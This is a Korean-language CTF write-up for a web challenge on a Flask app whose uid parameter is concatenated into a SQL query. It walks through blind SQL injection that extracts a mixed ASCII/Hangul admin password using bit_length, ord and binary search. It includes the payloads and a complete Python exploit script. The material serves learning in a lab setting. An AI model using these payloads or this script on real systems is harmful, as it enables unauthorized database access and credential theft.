문제분석 & 풀이
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
uid를 이용해서 select 쿼리를 실행하는 구성이다.
uid 파라미터에 대한 검증과 prepare statement와 같은 시큐어 함수가 적용되지않았다. 따라서 uid를 이용해 SQL injection을 수행할 수 있다.
문제는 화면에 uid만 출력하고 upw는 출력하지 않는다는 점이다. 따라서 blind sql injection을 수행해야한다.
필자는 1자리씩 brute force하는 방식으로 blind sql injection을 진행했다.
하지만 계속 오류만 발생했고 오류가 발생하는 이유는 description를 통해 알게됐다.
우리가 구해야되는 pw는 한글이 포함된 데이터였다.
필자는 DB내에 아스키코드 영역의 데이터만 있다는 전제로 공격코드를 작성하고 pw 출력을 시도했다.
그러나 이런 방식이면 한글데이터는 출력할 수 없다.
왜냐하면, 아스키 값은 1바이트 단위로 DB에 저장된다. 그러나 한글은 UTF-8 또는 EUC-KR 형태로 데이터가 저장되고 UTF-8은 3바이트, EUC-KR은 2바이트 단위로 데이터가 저장된다.
따라서 아스키를 추출하는 방식으로 한글데이터를 추출하려고하면 에러가 발생한다.
한글데이터를 추출하기위해서는 어떤 방법이 있을까?
○ 2가지 방법
- ascii, utf-8, euc-kr 중 어떤 타입의 데이터인지 파악 후에 1자리씩 데이터 추출
- DB 데이터 전체를 HEX로 출력해서 문자열로 변환
2번 방법이 더 간단하지만 필자는 1번 방법을 활용하기로했다.
이유는 description을 보면, 아스키와 한글데이터가 섞여있다고 했기 때문이다. 따라서 인덱스마다 데이터 타입이 다를 것이다.
인덱스마다 ascii, utf-8, euc-kr 중 어떤 데이터인지 파악하고 데이터를 추출하는 것이 확실한 방법이라고 판단했다. (2번 방법을 사용하는 경우에는 flag에 따라서 문제가 해결되지 않는 경우도 있다.)
admin' and (select bit_length(substr((select upw from users where uid='admin'),{i},1)))={j}%23
필자는 위와 같은 쿼리문을 작성했다.
bit_length()
를 이용해서 upw의 인덱스 별로 몇 비트에 해당하는 데이터인지 추출했다.
여기서
8비트면 → ascii
16비트면 → euc-kr
24비트면 → utf-8
로 판단하는 방법이다.
인덱스 별로 데이터 타입이 무엇인지 구분하는 이유는
ascii → 33~126
euc-kr → 45217~51454
utf-8 → 15380608~15572644
가 각각의 범위로 데이터 타입마다 10진수로 표현되는 범위가 다르기 때문이다.
# 8bit
admin' and ord(substr(upw,{i},1))={j}%23
# 16, 24bit
admin' and ord(substr(upw,{i},1))>{mid}%23
다음으로는 비트별로 쿼리문을 작성했다.
8비트의 경우에는 33~126까지 데이터를 모두 넣어보면서 upw[i]
의 값이 무슨 데이터인지 확인하는 방식이다.
그러나 16, 24비트의 경우에는 표현 가능한 데이터 범위가 매우 크기 때문에, 이진탐색 방식을 통해서 데이터를 확인해야 효율적이다.
따라서 위와 같이 쿼리문을 다르게 구성했다.
이진탐색을 이용해서 한글 데이터에 대한 10진수를 구하면 10진수를 한글 데이터로 변환하는 추가적인 작업이 필요하다. 따라서 10진수 → 16진수로 변환하여 hex를 2자리씩 나눠서 디코딩을 진행하고 합치는 방식으로 한글 데이터로 변환하는 작업을 진행했다.
예를 들어 utf-8이면 24비트로 24/8=3개의 글자가 나올 것이고 위에서 언급한 것처럼 한글 디코딩을 수행하는 작업을 해야한다.
ascii와 한글로 구성된 PW를 blind sqli로 추출해보자.
exploit
import requests
from urllib import parse
static_url='http://host3.dreamhack.games:11648?uid='
flag=''
def exploit():
global static_url, flag
for i in range(1,30):
count=0
for j in [8,16,24]:
query=f"admin' and (select bit_length(substr((select upw from users where uid='admin'),{i},1)))={j}%23"
url=static_url+query
response=requests.get(url)
count=count+1
if response.text.find('exists') != -1:
if j==8:
sqli_8bit(i)
elif j==16:
sqli_16bit(i)
elif j==24:
sqli_24bit(i)
print(f'index [{i}] : {j}')
count=0
break
if count==3:
break
def sqli_8bit(i):
global flag
for j in range(33,127):
query=f"admin' and ord(substr(upw,{i},1))={j}%23"
url=static_url+query
response=requests.get(url)
if response.text.find('exists') != -1:
flag=flag+chr(j)
break
def sqli_16bit(i):
global flag
start=45217
end=51455
mid=int((start+end)/2)
while(end-start)>1:
chk=0
query=f"admin' and ord(substr(upw,{i},1))>{mid}%23"
url=static_url+query
response=requests.get(url)
if response.text.find('exists') != -1:
start=mid
chk=1
else:
end=mid
chk=0
if(end-start)<=1:
if chk==1:
flag=flag+decodeHangul(start+1)
else:
flag=flag+decodeHangul(end)
mid=int((start+end)/2)
def sqli_24bit(i):
global flag
start=15380608
end=15572644
mid=int((start+end)/2)
while(end-start)>1:
chk=0
query=f"admin' and ord(substr(upw,{i},1))>{mid}%23"
url=static_url+query
response=requests.get(url)
if response.text.find('exists') != -1:
start=mid
chk=1
else:
end=mid
chk=0
if(end-start)<=1:
if chk==1:
flag=flag+decodeHangul(start+1)
else:
flag=flag+decodeHangul(end)
mid=int((start+end)/2)
def decodeHangul(result):
r=hex(result)[2:]
a=''
if len(r)==6:
for i in r[:2],r[2:4],r[4:]:
a=a+f'%{i}'
elif len(r)==4:
for i in r[:2],r[2:]:
a=a+f'%{i}'
return parse.unquote(a)
exploit()
print(flag)
exploit 코드다.
위에서 언급한대로 upw[i]
가 무슨 타입의 데이터인지 확인한 후에 데이터 타입에 맞는 blind sqli를 수행하는 방식이다.
작성한 코드를 실행해보자.